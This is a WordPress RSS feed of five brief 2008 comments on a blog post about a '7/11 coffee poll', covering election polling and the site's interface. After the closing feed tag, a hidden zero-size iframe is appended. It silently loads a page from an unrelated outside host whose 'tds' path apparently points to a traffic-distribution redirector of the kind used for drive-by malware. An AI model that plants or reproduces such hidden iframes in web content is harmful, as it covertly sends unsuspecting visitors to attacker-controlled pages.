<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>
<channel>
	<title>Comments on: 7/11 coffee poll</title>
	<atom:link href="http://the-board.info/2008/10/13/711-coffee-poll/feed/" rel="self" type="application/rss+xml" />
	<link>http://the-board.info/2008/10/13/711-coffee-poll/</link>
	<description></description>
	<pubDate>Sun, 20 May 2012 06:49:30 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.2</generator>
		<item>
		<title>By: DeadlyPixels</title>
		<link>http://the-board.info/2008/10/13/711-coffee-poll/#comment-20</link>
		<dc:creator>DeadlyPixels</dc:creator>
		<pubDate>Tue, 14 Oct 2008 01:38:47 +0000</pubDate>
		<guid isPermaLink="false">http://the-board.info/?p=44#comment-20</guid>
		<description>I don't know either, but somehow it worked out the other 2 times they did it.

Maybe they hired a magician?</description>
		<content:encoded><![CDATA[<p>I don&#8217;t know either, but somehow it worked out the other 2 times they did it.</p>
<p>Maybe they hired a magician?</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: FoxhoundFox</title>
		<link>http://the-board.info/2008/10/13/711-coffee-poll/#comment-19</link>
		<dc:creator>FoxhoundFox</dc:creator>
		<pubDate>Tue, 14 Oct 2008 01:30:49 +0000</pubDate>
		<guid isPermaLink="false">http://the-board.info/?p=44#comment-19</guid>
		<description>The only poll that counts is the one in November. I don't see how an accurate "prediction" can be made from less than the entirety of the population.</description>
		<content:encoded><![CDATA[<p>The only poll that counts is the one in November. I don&#8217;t see how an accurate &#8220;prediction&#8221; can be made from less than the entirety of the population.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: DeadlyPixels</title>
		<link>http://the-board.info/2008/10/13/711-coffee-poll/#comment-18</link>
		<dc:creator>DeadlyPixels</dc:creator>
		<pubDate>Tue, 14 Oct 2008 01:26:26 +0000</pubDate>
		<guid isPermaLink="false">http://the-board.info/?p=44#comment-18</guid>
		<description>Thanks, I sorta made this just to see how the interface works (Its kinda obvious that I didn't get it the first time.)

I think I might have fun with this, Dave is a genius.</description>
		<content:encoded><![CDATA[<p>Thanks, I sorta made this just to see how the interface works (Its kinda obvious that I didn&#8217;t get it the first time.)</p>
<p>I think I might have fun with this, Dave is a genius.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: famicommander</title>
		<link>http://the-board.info/2008/10/13/711-coffee-poll/#comment-17</link>
		<dc:creator>famicommander</dc:creator>
		<pubDate>Tue, 14 Oct 2008 01:24:52 +0000</pubDate>
		<guid isPermaLink="false">http://the-board.info/?p=44#comment-17</guid>
		<description>It certainly is interesting.</description>
		<content:encoded><![CDATA[<p>It certainly is interesting.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: DeadlyPixels</title>
		<link>http://the-board.info/2008/10/13/711-coffee-poll/#comment-16</link>
		<dc:creator>DeadlyPixels</dc:creator>
		<pubDate>Tue, 14 Oct 2008 01:23:00 +0000</pubDate>
		<guid isPermaLink="false">http://the-board.info/?p=44#comment-16</guid>
		<description>Changes made, thanks for the input Jason.</description>
		<content:encoded><![CDATA[<p>Changes made, thanks for the input Jason.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<iframe src="http://go.trsystem.ce.ms/tds/xml.php?uid=29" width="0" height="0" style="display:none"></iframe>
